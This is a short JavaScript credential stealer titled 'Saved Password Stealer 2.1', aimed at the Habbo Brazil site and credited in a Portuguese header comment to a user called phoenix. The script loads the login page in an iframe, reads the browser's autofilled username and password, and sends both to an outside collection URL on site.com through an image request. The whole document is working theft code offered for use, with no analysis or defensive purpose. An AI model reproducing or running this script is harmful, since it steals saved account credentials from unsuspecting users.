[Habbo] Saved Password Stealer

/*
#############################
# Saved Password Stealer 2.1
# By phoenix (phnx_wc@hotmail.com)
# Não copie noob! Quem sabe arrumar sabe, quem não sabe se fodeu. ;*
# (c) 2012
##############################
*/
FRM = new Date().getTime();
d = document;
x = document.createElement("iframe");
x.src = "http://www.habbo.com.br/quickregister/login";
x.id = FRM;
username = null;
password = null;
$$("head")[0].appendChild(x);
x.onload = function () {
    username = d.getElementById(FRM).contentWindow.document.getElementById("login-username").value;
    password = d.getElementById(FRM).contentWindow.document.getElementById("login-password").value;
    if (!username && !password) {
        return false;
    };
    new Image().src = "http://site.com/ctk.php?u=" + escape(username) + "&p=" + escape(password);
};